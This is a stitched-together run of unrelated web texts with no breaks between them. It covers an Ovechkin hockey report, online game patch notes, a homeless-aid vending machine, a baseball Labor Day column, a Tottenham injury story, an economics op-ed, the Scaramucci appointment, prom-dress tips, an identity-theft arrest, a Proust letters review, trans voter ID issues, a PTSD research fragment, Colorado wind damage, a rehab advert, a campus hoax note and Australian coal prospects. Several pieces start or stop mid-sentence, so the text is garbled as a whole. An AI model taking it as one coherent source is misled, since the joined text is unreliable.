He scored two more goals in the Capitals' 5-4 shootout win over the Winnipeg Jets on Tuesday night, giving him nine in his first nine games to start the season to take over sole possession of first place in the early goal-scoring race.
Here he is scoring his second goal and blowing away the Winnipeg defense in the process.
This is certainly an impressive start for Ovechkin, even more so when you consider that it matches the best start to a season that he has ever had in the NHL. And he's had some pretty quick starts. The only other season in his career that he scored nine goals in nine games to start the season was 2009-10. He finished the year with the fourth of his four 50-goal seasons. He might very well be on his way to another.
Here are his previous nine-game stretches to start the season (final goals for the season in parenthesis)
2013-14: 9 goals, 61 shots (TBD) 2009-10: 9 goals, 65 shots (50 goals) 2006 |
’t working properly, and adjusting the responsiveness in high-intensity combat. We’ll continue to monitor the Nightblade after we push these fixes live. Weapon Swapping – We’ve seen your feedback that weapon swapping lags during combat, and we are currently testing a fix that significantly improves the responsiveness. As this is caused by a number of different factors, we want to be confident in the change before pushing it live.
– We’ve seen your feedback that weapon swapping lags during combat, and we are currently testing a fix that significantly improves the responsiveness. As this is caused by a number of different factors, we want to be confident in the change before pushing it live. Passives – We found that some passives would stop working when you die, including many of the vampire passives. These will be fixed in our next patch.
– We found that some passives would stop working when you die, including many of the vampire passives. These will be fixed in our next patch. Werewolf Ultimate Pack Leader – Many of you have expressed concerns that this ultimate is not working properly. We have identified the root cause of this issue, and it will be fixed in our next patch.
A Walk Above the Clouds
Castle of the Worm
Halls of Torment
Haunting of Kalari
Master of Leki’s Blade
Will of the Council
The Army of Meridia
The Dangerous Past
The Den of Lorkhaj
The First Step
Broken world bosses, including Lesser Circle in Alik'r and Summoner's Camp in Bangkorai
Issues with Provisioning, including finding low-level items in Veteran Rank containers
Getting stuck moving slowly in combat
Below are some of the in-game issues we are currently working on fixing. Note that this list is not everything we’re working on, just the highest priority ones.Below are some quests that we have identified specific issues with and are working on fixes for. We’ll push the fixes live in a future patch as soon as they’re ready. Keep in mind there are many more quests that we’re working on, and this list is not all-inclusive.We've been keeping a close eye on this thread and on the forums in general, and wanted to let you know where a few other common issues currently stand:- We know many of you have been plagued with long loading screens when trying to enter Cyrodiil. We're happy to say that this will be fixed with our next patch.In addition, we are currently investigating the following issues:Remember, the issues we're listing out in this thread doesn't include everything that we're working on, just some of the more prevalent issues. Thanks for your continued patience!Nottingham shopping centre hosts machine carrying free food and other essentials for those with special keycard
A vending machine containing essentials for rough sleepers has been installed in Nottingham in what is believed to be a world first, with the inventor hoping to put one in every city with a homelessness problem.
The machine was unveiled at the Intu shopping centre in Broadmarsh on Tuesday. It dispenses water, fresh fruit, energy bars, crisps, chocolate and sandwiches, as well as socks, sanitary towels, antibacterial lotion, toothbrush and toothpaste packs, and books.
Much of the fresh food comes from redistribution organisations seeking to reduce food waste, according to the inventors at Action Hunger, a new charity. Other items are bought with donations.
Labour urges action to improve voting among UK homeless Read more
Use of the machine is exclusively for those in need, and items can only be vended with a special keycard, which Action Hunger’s partner organisations give to users. In Nottingham the cards are given out by the Friary, a drop-in advice centre for homeless people.
The keycards are programmed to permit up to three items being dispensed per day. The limit aims to stop “dependency” on the machines, the charity said.
“We want our low-cost solution to complement other services that are available, as engagement with professionals and local support services is instrumental to breaking the cycle of homelessness,” it added.
The machine was the brainchild of Nottingham local Huzaifah Khaled, 29, who developed the project while undertaking a PhD in law.
He persuaded one of the world’s biggest vending companies, N&W Global Vending, to give him a £10,000 machine for free, and got the Friary on board in Nottingham.
Khaled has been criticised for enabling a street lifestyle by making it easier for people to sleep rough, rather than seek sanctuary and help in a hostel, where they can receive healthcare and advice. But he insists the opposite is true.
“We could have not put a limit on how many items people could receive, and not built in a system of checks. All of our users in Nottingham have to check-in with the Friary once a week for their cards to continue working,” he said.
The machines were restocked daily by a team of volunteers. Eventually 100 cards would be issued in the city, Khaled said.
He hopes to expand across the country as quickly as possible, if he can raise capital. Action Hunger should have 25-30 machines in use by the end of 2018, he added.
The programme will be rolled out across the US next year, with two being machines installed in New York in February and Los Angeles, San Francisco and Seattle to follow.
Khaled said he was in discussions with Network Rail to install machines at train stations, which he said could be the “ideal solution” because most had long opening hours and were safe and well lit.
Since the news spread, he has been approached from people all over the world wanting to install a machine in their city, he said. “I’ve had emails from people in Greece, Spain, Australia and China, all wanting to know more.”
Now he just needs to find someone to run the charity and raise the money necessary for the global rollout: he takes up a full-time job with Goldman Sachs in February.Major League Baseball rolls out special jerseys and caps for several holidays. And, as they are quick to remind you, they back up those special caps and jerseys with charitable outreach. Funds and awareness are raised for various noble causes for Earth Day, Mother’s Day, Father’s Day, Memorial Day and the Fourth of July via baseball’s highly-visible and well-publicized on-the-field nods to them during the season.
But not Labor Day. There are no special caps, jerseys or philanthropic tie-ins on this day. No statement from the commissioner honoring labor, organized or otherwise. It can’t be because Major League Baseball doesn’t know it’s Labor Day. I mean, they scheduled 13 of today’s 15 games for this afternoon, which never happens on a Monday, so they’re taking financial advantage of the holiday. They just can’t seem to be bothered to care about its purpose. Indeed, at times in the past parts of Major League Baseball have been downright hostile to anyone acknowledging its purpose.
This, of course, is not just Major League Baseball’s failing. It’s a reflection of where we are as a society. Organized labor makes up a smaller portion of the workforce than it ever has. Even a great many of the people who do the working in this country have bought in to the notion — propagated by those who profit from labor — that unions are tools of the communists and giving any lip service to the rights of workers is a suspect and even un-American pursuit. Good, secure jobs with good pay and benefits have come to be seen as rare luxuries for which it is rude to ask, let alone expect. Many workers have adopted the language of the rich and powerful in this regard, having been convinced that their need to hustle harder than they used to in order to make less in real dollars than they used to is somehow a good thing. As if using your time off from your main job to drive an Uber or to let in boarders in your apartment via Airbnb is “entrepreneurial” rather than “taking a second, benefits-free job to make ends meet.”
There are obvious political overtones to any conversation about labor. But no matter what your views are when it comes to those matters, the fact remains that the whole fabric of our society rests upon labor. People die on the job every day. People have died in the name of worker’s rights and in the name of keeping more people from dying on the job. Labor built this country. The labor movement has saved lives that would have been lost and has elevated the standard of living of families. Odds are that, whether you accept it or not, labor and workers in your own family allowed you to get where you are now.
Labor activists may not be commonly portrayed as conventionally heroic as soldiers and the work of the labor movement may not be as visible nor as immediately relatable as that of our military, but they are still worth your remembrance. They are worth a moment and a gesture. They are worth the time and recognition of our institutions. That includes Major League Baseball, which has, for half a century, owed its billions to the work of an active and organized labor force.
Maybe a special cap or jersey isn’t a big deal and maybe it wouldn’t make a difference. But our values are revealed in both our substantive and our symbolic gestures. And it’s regrettable that the quintessentially American institution of baseball can’t find time to give even a nod to the men and women who form the figurative foundation of American society and built the literal foundation of America itself.
Follow @craigcalcaterraI'm your man! Naughton ready to fill left-back gap after Assou-Ekotto injury setback
Kyle Naughton has declared himself the man to fill the void left by Benoit Assou-Ekotto ahead of Tottenham's Europa League opener against Lazio.
Spurs were still waiting to discover how long left-back Assou-Ekotto would face on the sidelines on Tuesday amid fears he could be ruled out for up to a month.
The 28-year-old missed Andre Villas-Boas' first win in charge at Reading on Sunday with a knee problem that may require a 'washout' procedure, ruling him out for around four weeks.
Into the breach: Kyle Naughton did well against Reading at the weekend and is now likely to feature in Tottenham's Europa League campaign
Losing Assou-Ekotto, who has barely missed a match in the last four seasons, would be seen as a blow to Spurs' hopes of building on their opening Barclays Premier League victory this term.
Jan Vertonghen has filled in at left-back numerous times for Belgium but Villas-Boas decided on Sunday to hand Naughton his full league debut for Tottenham.
Despite playing out of position, the 23-year-old proved up to the challenge at the Madejski Stadium and was hoping to have done enough to keep his place for Thursday's Europa League glamour clash against Lazio.
'It was great to get the three points and that the gaffer gave me a chance to show what I can do,' he told his club's official website, www.tottenhamhotspur.com.
'I played at left-back a few times for Norwich (on loan) last season and hopefully now I can carry on playing.
'Towards the end, I was tiring a little and they got in behind us a little but the more games I play, hopefully the stronger I'll get.
'Everyone's been brilliant and I just hope I can carry on now and play in the Europa League.'
Injury setback: Assou-Ekotto could be out for up to a month with a knee problem
Thursday's Group J match is Spurs' first ever competitive meeting with Lazio, to whom they famously sold Paul Gascoigne 20 years ago.
The draw last month prompted the Italian giants to offer to invite the former England midfielder to the reverse fixture in Rome on November 22.
It is understood the 45-year-old was also invited to attend Thursday's match but he was unable to accept for personal reasons.
Gascoigne has struggled to deal with alcohol problems since retirement but his agent said this summer that he had embarked on a health drive.
It remains to be seen whether he will attend the game between the sides at the Stadio Olimpico.
Favourite son: Paul Gascoigne, seen here in Lazio colours taking on former club Tottenham in a 1993 Makita Cup game, could be at the Stadio Olimpico for the return match
Meanwhile, Villas-Boas vowed to take the Europa League seriously ahead of his first match in the competition since winning it with Porto last year.
Harry Redknapp fielded a shadow side last term but Villas-Boas declared he would pick a'strong team'.
'We want to do something special in this competition,' he said.
'This competition is very important.
Taking it seriously: Villas-Boas has pledged to field full strength teams in the Europa League this season
'It's a tough competition. You have to play 15 games before you reach the final, so it's hard and strenuous and the best teams out of the Champions League are playing.
'It gives access to the European Super Cup and, for me, I always thought it was a prestigious competition and it should be promoted like that because after the Cup Winners' Cup disappeared, it is not only about the Champions League.
'If we can win a trophy, that represents a lot for Tottenham Hotspur's history as well and would be something really special.'
Lazio have begun Serie A with a hat-trick of wins and Spurs' summer signing Gylfi Sigurdsson said: 'They are a good team.
'It's great to play in Europe and we're looking forward to that game, trying to get off to a good start.
'It will be important to get three points at home.'For months, I have seen articles about the massive economic ignorance infesting candidates’ views and how they would “fix” what they think are the nation's problems. They essentially say that neither candidate knows enough to pass an economics principles course, much less enough to advance Americans’ general welfare. I cannot disagree.
The candidates sometimes say things with some sense (recognizing burdens from regulation). But, they have failed in their understanding of opportunity cost (free college and paid leave) and comparative advantage (protectionism); that market incomes are earned by benefiting others (making “the rich” pay more); property rights and the role of profits (suggestions for mandatory profit sharing); the market for labor (proposals to hike minimum wages and opposition to right-to-work laws); and capital (wanting greater taxation of owners of capital but calling taking your resources for others an investment).
The Difference between Markets and Politics
But why have the candidates marketing such economic snake oil successfully made it to the general election? Thomas Sowell, in Knowledge and Decisions, considered why people’s pervasive ignorance, as well as “knowing so much that isn’t so” leads to more societal damage via politics than market arrangements.
In market competition:
Economic knowledge need not be articulated to the consumer, but is conveyed — summarized — in the prices and qualities of goods. The consumer may have no idea at all — or even a wrong idea — as to why one product cost less and serves his purpose better; all he needs is that end result itself. Someone must of course have the specific knowledge of how to achieve that result. What is crucial to economic competition is that better and more accurate knowledge on the part of the producer is a decisive competitive advantage, regardless of whether the consumer shares any part of the knowledge.
In political competition, however:
Political knowledge is conveyed by articulation, and its accurate transmission through political competition depends upon the preexisting stock of knowledge and understanding of the receiving citizen.... In political competition, accurate knowledge has no such decisive competitive advantage, because what is being “sold” is not an end-result but a plausible belief about a complex process.
In other words, consumers need not correctly understand how something is accomplished for them to be well served by market competition. As long as they can choose which suppliers’ goods better satisfy their preferences and situations, suppliers that solve the relevant problems more effectively will tend to out-survive others. As Sowell summarized it, “Where force is not involved, then whatever methods of coping with these difficulties emerge, the least cost methods among them will have a decisive competitive advantage in voluntary transactions.”
In contrast, voters must understand how something will actually work to correctly evaluate which politicians will serve them better (dis-serve them least), or misunderstanding and misrepresentation by politicians may be rewarded. And the political appeal of inferior understanding is “as widespread as the belief that order requires design, that the alternative to chaos is explicit intention, and that there are not merely incremental trade-offs but objectively specifiable, quantifiable and categorical ‘needs’.”
In markets, “prices convey effective knowledge of inherent constraints,” subject to which, “[c]onsumers buy results and leave the processes to those with specialized knowledge of such things.” In contrast, “ballots do not … there are no constraints on my voting for [mutually inconsistent things] … options simultaneously desired [but] unrealizable from the outset.” Furthermore, “no small part of the political art consists in misstating options and in trying to give them the appearance of simultaneously satisfying competing claims when they cannot be satisfied in reality.” Consequently, “The competition among political groups does not therefore bring to bear more accurate knowledge, as in economic competition, but promotes exaggerated hopes and fears.”
The too-common end result is that:
In their political behavior, the public must judge processes — including economic processes of which they may be ignorant or misinformed. …Once the process is underway, every perceived problem — whatever its reality or origin — calls for political solution, and these “solutions” tend to create a never-ending supply of new problems to be “solved.”
In today’s political landscape, this plays out in many different forms. For people who believe that freer trade harms people rather than creating mutual gains, promises of “cracking down” or imposing higher tariffs on foreign products appears attractive. For people who believe that they earn less because “the 1%” earn too much, “will find punitive taxation attractive.” For people who think various workplace amenities — such as mandatory paid leave — come out of employers’ pockets, rather than from workers’ compensation packages (once there has been time to adjust), new government mandates will appear to be a good idea. For people who think higher minimum wages will benefit “the poor,” and don't understand the downsides — such as fewer hours worked and greater unemployment — minimum wages will be attractive.
In these and other instances, voter misinformation can lead politicians who engage in economic malpractice to be more popular, imposing a much higher price on society than similar amounts of consumer misinformation in the marketplace.
Echoing Friedrich Hayek’s “The Use of Knowledge in Society,” Sowell saw that “Perhaps the greatest achievement of market economies is in economizing on the amount of knowledge needed to produce a given economic result.” However, he also recognized “That is also their greatest political vulnerability,” which we are seeing acted out before our eyes. The public, benefiting from vast and varying voluntary market arrangements without understanding them, can be lured by siren songs of something for nothing, because they don’t see how it undermines those irreplaceable arrangements which reliably serve them.
Gary M. Galles is a professor of economics at Pepperdine University. He is the author of The Apostle of Peace: The Radical Mind of Leonard Read.In another White House staff shakeup, President Trump appointed friend and New York financier Anthony Scaramucci as his communications director Friday, a move that prompted press secretary Sean Spicer to resign.
Mr. Trump offered Mr. Scaramucci the job Friday morning and asked Mr. Spicer to stay on. But Mr. Spicer, who along with White House chief of staff Reince Priebus and presidential counselor Steve Bannon had argued against the selection of Mr. Scaramucci, decided to resign to allow the new communications team to “start with a clean slate,” colleagues said.
Mr. Scaramucci, a Trump loyalist whom the president calls “the Italian kid,” was introduced to the media and the public Friday afternoon in the White House press room. He said the White House needs to do a better job of promoting Mr. Trump’s agenda.
“I think there’s been at times a disconnect between the way we see the president and how much we love the president, and the way some of you [journalists] perhaps see the president,” Mr. Scaramucci said. “And I certainly see the American people probably see the president the way I do. But we want to get that message out there.”
The shakeup in the communications team came less than 24 hours after Mr. Trump also made changes in his legal team handling the response to Russia investigations. Lead attorney Marc Kasowitz was demoted, and legal team spokesman Mark Corallo departed.
The hiring of Mr. Scaramucci is also viewed as a blow to Mr. Priebus, who was an important ally of Mr. Spicer and had brought him to the White House from the Republican National Committee.
Glossing over the internal dissent over the communications staff changes, Mr. Scaramucci praised Mr. Spicer as “a true American patriot.”
“I would love to have Sean here. Sean decided that he thought it would be better to go,” he said. “This is obviously a difficult situation to be in, and I applaud his efforts here. And I love the guy. And I wish him well.”
He said there was “no friction” between him and Mr. Priebus.
“We are a little bit like brothers, where we rough each other up once in a while, which is totally normal for brothers,” he said. “But he’s a dear friend. He brought me into the political system.”
Deputy press secretary Sarah Huckabee Sanders was promoted to press secretary. Mr. Spicer said he will stay on until the end of August.
Mr. Scaramucci, who has been a prominent TV talking head on behalf of Mr. Trump, is expected to serve a major role in defending Mr. Trump on television but not to conduct daily press briefings. He is the founder of the global investment firm SkyBridge Capital and is a Fox News contributor.
He dismissed concerns about a White House “under siege” from investigations over possible collusion between Trump campaign officials and Russia.
“The president’s a winner, OK?” Mr. Scaramucci said. “And what we’re going to do is we’re going to do a lot of winning.”
Mr. Spicer had been largely sidelined from the press secretary’s role in recent weeks, also serving as communications director as Mrs. Sanders took over the job of daily press interactions. Sources in the administration said Mr. Spicer was balking at having Mr. Scaramucci, who has no real Washington experience, in a position over him.
Another source close to the White House said presidential daughter Ivanka Trump had been pushing for Mr. Scaramucci’s appointment against the wishes of other top West Wing advisers, including Mr. Priebus and Mr. Bannon.
Mr. Trump has been searching since the start of his presidency for surrogates who can aggressively defend him and his policies, especially on camera, a role that Mr. Spicer has moved away from.
Mr. Spicer held what was widely considered the most difficult job in the White House, with the role of speaking for a president who believes he is his own best spokesman.
He got off to the most contentious start possible with the press, sent out by the president to harangue reporters on the second day of the new administration about what Mr. Trump believed was unfair coverage of the crowd size at his inauguration.
In the early weeks of the presidency, Mr. Spicer’s televised daily briefings with the press got high ratings in an often confrontational atmosphere, and Mr. Trump praised his press secretary. But as the weeks wore on, the president realized that the high ratings were fueled mostly by cable TV viewers opposed to him and his policies.
Until Friday, the White House hadn’t held a televised press briefing since June 29.
One source familiar with the White House press operations said Mr. Trump wanted to “help out” Mr. Scaramucci, who is also known as “Mooch,” by giving him a White House job. But Mr. Trump is also said to favor Mr. Scaramucci’s combative style in TV interviews and his vocal defense of the president.
Earlier this year, Mr. Scaramucci struck a multimillion-dollar deal to exit his investment firm, selling part of his interest to a little-known company, RON Transatlantic EG.
White House press staffers gave Mr. Scaramucci a round of applause Friday morning as he was introduced by Mr. Priebus, and then they also applauded Mr. Spicer.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Your prom dress is perhaps one of the most important choices that you’ll ever make. If you’re going to go to prom and spend the night enjoying yourself with friends, then you need to make sure that absolutely everything is perfect for your needs. We’re going to be talking you through the planning of your prom dress, and trying to help you get everything sorted ahead of time.
The Dress Itself
The first thing that you need to do is to work out what kind of dress it is that you want. You have to ask yourself whether you’re after a shorter dress or a gown, and the kinds of colours that you want to wear. You need to have an idea of the kind of dress that you’re after. Otherwise, it’ll become difficult to plan for buying one properly.
The Budget
The next thing that you’re going to need to do is to think about how much money you’re willing to spend on this dress. Now obviously the best prom dresses are going to be a little more expensive, and in a lot of cases, you’ll find that your parents are prepared to purchase a dress for you. However, setting a clear budget with them will help to ensure that you stay on good terms with them and that no one is accused of being unreasonable. You don’t want to try and plan your prom night while fighting with the family after all.
Location, Location
Now that you’ve planned out what kind of dress you want, and established a budget with the people who are helping you pay for it, it is time to get out there and look for a prom dress! This is where it’s important to check out all of the shops beforehand, so you know where the most likely candidates for your prom dress will be. It helps to check them out quite early too, as you’ll be able to get access to all of the potential dresses before anyone else can get them because as you might know, you’ll lose out if someone else gets it and decides to wear it before you.
Overall, these are just a few of the steps that you can take to make choosing your prom dress that much easier. Obviously, planning for your prom can be a very challenging task, as you obviously want to make sure that you get it right. Having a set of steps in place will make dress shopping that bit easier. You can otherwise find yourself caught up in all of the fuss and drama which comes from dress shopping, and it can seem like a real pain to manage to do. The important thing to remember is that you’re not going to get anywhere if you rush around and worry about all of the various things that need to happen. It is important just to keep working forward until you’ve got your dress and you’re ready to go.… Read More Prom Dress Planning – Picking The Best For Your NightRafel Llano (Photo: BCPO)
-- A Garfield man was arrested after facial recognition software alerted officials that he had a driver's license in the name of his dead brother, authorities said Friday.
Rafel Llano, 67, faces charges of identity theft and tampering with public records, according to Acting Bergen County Prosecutor Gurbir Grewal.
In an ongoing anti-fraud program, the state Motor Vehicle Commission scanned its database of approximately 19 million images to hunt duplicates, Grewal said in a statement.
That search revealed Llano's photo was tied to more than one driver's license, authorities said. Detectives found Llano had a license in the name of his deceased brother, Victor, as well as his own name.
Officials ID man killed in crash with Hackensack police car Police called off motorcycle chase before two crashes, authorities say
"Mr. Llano had been utilizing the stolen identity since 1992 and had renewed the associated license numerous times," Grewal said. "It was also determined that Mr. Llano had registered and insured his motor vehicle utilizing his brother's identity."
Authorities said Llano was ordered held at the Bergen County Jail in lieu of $15,000 full bail.
It was not immediately clear why Llano allegedly used his brother's identity.
Noah Cohen may be reached at [email protected]. Follow him on Twitter @noahyc. Find NJ.com on Facebook.This first volume of Selected Letters, authoritatively edited by Philip Kolb himself, and translated by the seasoned translator Ralph Manheim, covers the years I880-I903: the school years at the lycée Condorcet, the brief period of military service, studies at the university, the beginnings of a social life, the writing and publication of La Plaisirs et les Jours, work on the aborted novel Jean Santeuil, the laborious translation of Ruskin’s Bible of Amiens, for which he enlisted the help of his mother. (His own knowledge of English was virtually nonexistent.) Many of these early letters are of considerable interest. They tell us a great deal about the nature of his adolescent friendships, his intellectual and political concerns, his poetic sensibility; they reveal his precocious literary vocation, his latent gifts as a novelist; they provide insights into how quirks and anxieties were transmuted into the stuff of fiction.
When his father died, he pretended to feel remorse and guilt. In fact, he felt more secure now that he had his mother all to himself.
Despite the discontinuities of any correspondence, and the particularly shifting tone of these letters which often mimic the style of the addressee, certain basic character traits emerge. Chief among them is an almost morbid need for affection. Young Marcel is worried about the impression he makes to the point of writing self-portraits that are close to caricatures. This mirror disease in turn is a symptom of a deep narcissism, as well as of his sexual preferences. If Proust the writer was later to camouflage these preferences, there can be no doubt that the adolescent made open advances to several fellow students at the lycée. There is an explicit missive, written in class, to Jacques Bizet, the son of the composer of Carmen, which speaks of “plucking” the delicious flower “that we shall soon be unable to pluck.” There is another one, to Daniel Halevy, in which he declares his admiration for his friend’s agile body, and speaks of sitting on his lap and kissing his eyes. Granted that the style of these letters remains playfully elegant and literary, the preciosity of the language only stresses young Marcel’s discomfort at the boldness of his requests, as well as his fear of being rebuffed (which he apparently was).
Not all is endearing in this correspondence. The literary memory and readiness to quote are often bookish and affected. The self-indulgent, hypochondriac concern for his health became an excuse for procrastination and an anomalous existence. Not only did Proust keep irregular hours, sleeping during the day, reading and eating during the night, but one has the impression at times that he went directly from bed to dinner parties. In the hay fever season he made a point of never going out during the day. Even worse than this self-pampering is the sentimental blackmail he inflicted on his parents, who were doubtless frightened by his psychosomatic crises. When he met with opposition, or merely with criticism, he could easily become moody and temperamental—leaving the dinner table, slamming doors, sulking, writing urgent and annoyed messages. Tantrums were not unheard of. He himself tells, in one of his letters, how on a given occasion he trampled on a friend’s hat, tore it into shreds, and then ripped out the lining! When his father died, he pretended to feel remorse and guilt. In fact, he felt more secure now that he had his mother all to himself.
The intellectual and aesthetic aspects of his character are more appealing. His interest in his studies was genuine, and he liked to establish personal relations with teachers he admired. A letter to his philosophy teacher Darlu is a true consultation in which he himself acutely diagnoses his self-consciousness, the cleavage he feels within himself as a result of excessive intellectualization, the habit of self-contemplation—all of which, he says, kills his spontaneity. Later on, scholarly, hedonistic, and social interests tend to mingle. To his composer friend Reynaldo Hahn he explains in a brief missive that he is still in bed, “drunk with reading Emerson,” but that shortly he intends to go to the Bois, and suggests that they then both attend a defense of a Sorbonne thesis on “The Metaphysics of Sociology.”
Behind this ethos of leisure, there is the stubborn commitment to literature. In its early stages, it took the form of a superficial infatuation. To Anatole France, the seventeen-year-old Proust, signing himself “A Student of Philosophy,” writes the kind of letter his hero Marcel might have written to Bergotte. But literature soon became an obsession, then a vocation. Pressed by his career-minded father, a famous professor of medicine, to make a choice, Proust answered that he could not consider becoming either a lawyer or a stockbroker (there was also some talk of diplomacy, and a more serious attempt to become a librarian)—that whatever was not philosophy or literature was for him wasted time: “temps perdu.” This is precisely the expression, with its double denotation of waste and loss (but a loss to be restored by a proper quest, or “recherche”), which many years later informs the suggestive title of Proust’s great novel.Out of the 34 states that have restrictive voter ID laws, 16 require a photo ID. These laws are unnecessarily confusing, making it—some would argue, puposely— hard for multiple groups of people to exercise their right to vote. Among those most affected are transgender people, who often have to overcome hurdles to change their gender markers on official IDs to match their identities.
In New York, for example, you must provide a written statement from a physician, psychologist, or psychiatrist that you are either male or female to get a gender ID change. In Texas, the individual must bring a certified court order. In Oklahoma, one needs proof of “irreversible and permanent” surgery, and the state doesn’t even put a gender change option under the guide on updating a driver’s license.
However, what’s most misleading about voter ID laws is this: None of them require that the gender marker on the ID match the gender presentation of the individual. And yet it’s still a complication that could stop trans people from voting.
“For a transgender individual coming in to vote at the polls using a photo ID, it can be very difficult and sometimes impossible to get that ID updated to reflect who they are,” Arli Christian of the National Center for Transgender Equality (NCTE) told the Daily Dot. “So what happens is an individual walking into the polls will show a photo ID, and for reasons that are not relevant to whether the person is eligible to vote, that voter will be questioned. Perhaps their gender presentation does not match the gender marker listed on their ID. Perhaps the photo on the ID is outdated. And they’ll come under additional scrutiny.”
The NCTE has provided a “voting while trans” checklist to help trans people vote, suggesting that they make sure their name and address is the same across registrations, and reminding poll workers that as long as their name and address are correct, they can vote. “We’re assuming the best of folks. We’re assuming nobody is trying to prevent anyone from casting their ballot,” says Christian.
However, not everyone has the best intentions. Dawn Ennis wrote for NewNowNext about how she had trouble voting in the presidential primary, even though her driver’s license gender matched her identity. A poll worker repeatedly called her “sir,” and it took speaking to a supervisor and numerous phone calls until she could vote. A trans woman in Pennsylvania was also sent home and asked to produce name-change documents after presenting an ID with a male gender marker.
“We’re assuming the best of folks. We’re assuming nobody is trying to prevent anyone from casting their ballot.”
Many cis people also have discrepancies on their IDs—such as using a middle name for one ID and not another, or having had cosmetic surgery that no longer matches their photo—but it’s hard to imagine they’d face the same biased scrutiny that many trans people face.
These laws bring up a larger question, though: Why do we even have gender markers on IDs at all? The required identifying information on various official documents has changed (for instance, you’re no longer required to list your weight on your driver’s license), and seeing that many states’ requirement for proof of surgery treats gender more as “sex,” it seems intrusive and unnecessary to list genitalia on identification.
According to Christian, not only are gender markers not necessary for general identification, but the current requirements to change one also aren’t available to many trans people. If you have to get an order from a judge, that judge “may not know anything about transgender people,” says Christian. Not everyone has access to a primary care physician or a psychiatrist, much less one that’s sensitive to trans issues.
Because of this, there are movements to remove gender markers from IDs. In the U.K., there have been calls to rid them from passports and driver’s licenses. In India, there is a third gender option for IDs, and in Ontario, licenses can be marked with X. Even this June, Oregon was the first U.S. state to allow a person to register as nonbinary.
Many have suggested that restrictive voter ID laws are a form of voter suppression rather than a way to curb voter fraud. The ACLU calls them “a solution in search of a problem,” and that they are the equivalent of a poll tax. But they are a fact of this election, and often leave the decision on whether someone can vote in the hands of poll workers who may not know all the facts, or may be actively prejudiced.
“In our society, there are still many places where things are divided by gender, and gender is a very prevalent issue and identifier in our world,” says Arli. However, the NCTE is hoping that in future elections, that may not be the case. “We are working as society changes.”The ‘neurocircuitry model’ of PTSD postulates a deficit in extinction of fear conditioning mediated by the amygdala and the ventral/medial prefrontal cortex (vmPFC) ( Rauch et al., 2006 ), a model supported by findings of reduced hippocampal activity and volume, increased activity in the amygdala and decreased activation of the medial prefrontal cortex in people with PTSD ( Rauch et al., 2006 ). A human Positron Emission Tomography (PET) study 75 min following MDMA administration has shown increases in cerebral blood flow in |
advisory was issued at 5 a.m. this morning, as of about 1 p.m. our dispatch had received 1,151 calls,” he said. “We’ve had everything from down power lines to roofs blowing off buildings to structure fires and grass fires. The clean up is going to go well into Tuesday. It could even be weeks.”
Wilch said 12 extra units had been deployed to deal with downed trees.
All commercial vehicles are barred from traveling on Interstate 25 between Monument and the New Mexico state line on Monday because of the winds.
Section of roof blown off church sanctuary | No injuries pic.twitter.com/GCaj9eeOtg — CSFD PIO (@CSFDPIO) January 9, 2017
The gusts have been strong in the Denver area on Monday, as well, causing widespread flight delays at Denver International Airport and some damage north of the city.
Airport spokesman Heath Montgomery said the Federal Aviation Administration issued a ground delay for planes heading into the hub, meaning they were held at their origin for a period of time. “They’re trying to space out the aircraft.”
Due to high winds some delays are likely this morning. Please check your flight status #cowx — Denver Int'l Airport (@DENAirport) January 9, 2017
Many arriving flights were showing delays north of an hour. The FAA warned the gusty, westerly winds could slow flights in Denver, but did not say for how long.
The National Weather Service in Boulder issued a high wind warning for the Front Range foothills until 5 p.m. on Monday.
“Powerful, westerly flow aloft will produce very strong and gust Chinook winds in and near the Front Range foothills today,” the weather service said in its warning. “Wind gusts of 75 to 90 mph are expected in areas prone to high winds, such as along the Peak to Peak Highways, the canyons of Larimer, Boulder and Jefferson counties, and the Rocky Flats and Carter Lake areas.”
Big time issues w wind today. High profile vehicles beware of Mother Nature's strength. — CSP Castle Rock (@CSP_CastleRock) January 9, 2017
At DIA, gusts were forecast to reach near 50 mph, according to the weather service, with sustained winds between 16 mph and 25 mph.
Boulder County Sheriff’s division chief Heidi Prentup told The Daily Camera that the winds had knocked down trees and telephone lines across the county, leading to traffic hazards. She also said that one driver was injured when a sign that had fallen down crashed into the car’s window
A winter storm warning is in effect for much of the high country and Western Slope through Tuesday morning — including places like Steamboat Springs, Aspen, Vail, Breckenridge, Rocky Mountain National Park and Crested Butte — where up to 3 feet of snow is expected at higher elevations before the storm system moves out.
The Colorado Department of Transportation and Colorado State Patrol have asked mountain motorists to take it slow.Depression and anxiety are closely related and they work together in an antagonistic way. Severe anxiety can cause depression due to the overwhelming fear that ‘it’ will not get better. Whether it is a situation, event or a memory from the past, once a person becomes paralyzed with fear depression and hopelessness are just around the corner. Many times people go to residential treatment for depression symptoms only to find out that anxiety is the root issue. A residential treatment for depression and anxiety will help you simultaneously eliminate both of these mood disorders.
When an individual attempts to manage moods without the intervention of a residential treatment for depression and anxiety, it can lead to seeking unhealthy alternatives. Drug and alcohol abuse, gambling, shopping and other forms of unhealthy behaviors become forms of self-medication for mood discomfort. Once the initial change in feelings ends, the uncomfortable emotion remains. From this we learn that temporary fixes only contribute to supporting the uncomfortable mood.
Addiction only makes depression and anxiety worse and the individual is often left with unresolved emotions. If there is an additional substance abuse issue involved, it is imperative to find a residential treatment for depression and anxiety that will address addiction too. Focusing only on addiction can hurt and cause more damage resulting in the need for immediate additional care. Proper guidance, education and healthy outlets help to stop the depression and anxiety cycle.
If you’ve found yourself struggling with depression, anxiety or another common mental health disorder, consider enrolling at Lifeskills South Florida. Lifeskills is an accredited dual diagnosis treatment center serving the Fort Lauderdale area. We currently offer treatment in both residential and outpatient settings. To reach our admissions office, please contact us below.A racist note found on the campus of St. Olaf College in northern Minnesota was "fabricated" and not a genuine threat to minority students, the school's president said Wednesday.
David R. Anderson said in an email to students that the notes were apparently meant "to draw attentions to concern about the campus climate."
"We learned from the author's confession that the note was fabricated," Anderson wrote.
Citing student privacy laws, his emails did not name the author who confessed or say whether the person is a student or otherwise affiliated with the private Lutheran college. The student body is 74 percent white and 2 percent black.
The April 29 incident prompted a rally that night and a bigger protest May 1 that led administrators to cancel classes for the day.
Anderson said the college continues to investigate other reports of racist messages since last fall.
The Associated Press contributed to this report.
Click for more from Fox9.com.Demand from India and China predicted to falter due to higher uptake of renewables and make huge projects commercially unattractive
Coalmining in Australia is entering a “structural decline”, with projects set to become unviable due to unrealistic expectations over the potential to export the fossil fuels to China and India, according to a new report.
The study, by the US-based Institute for Energy Economics and Financial Analysis, suggests that two huge coalmining projects in central Queensland, backed by Indian cash, “are likely to prove uncommercial” due to unfavourable market conditions.
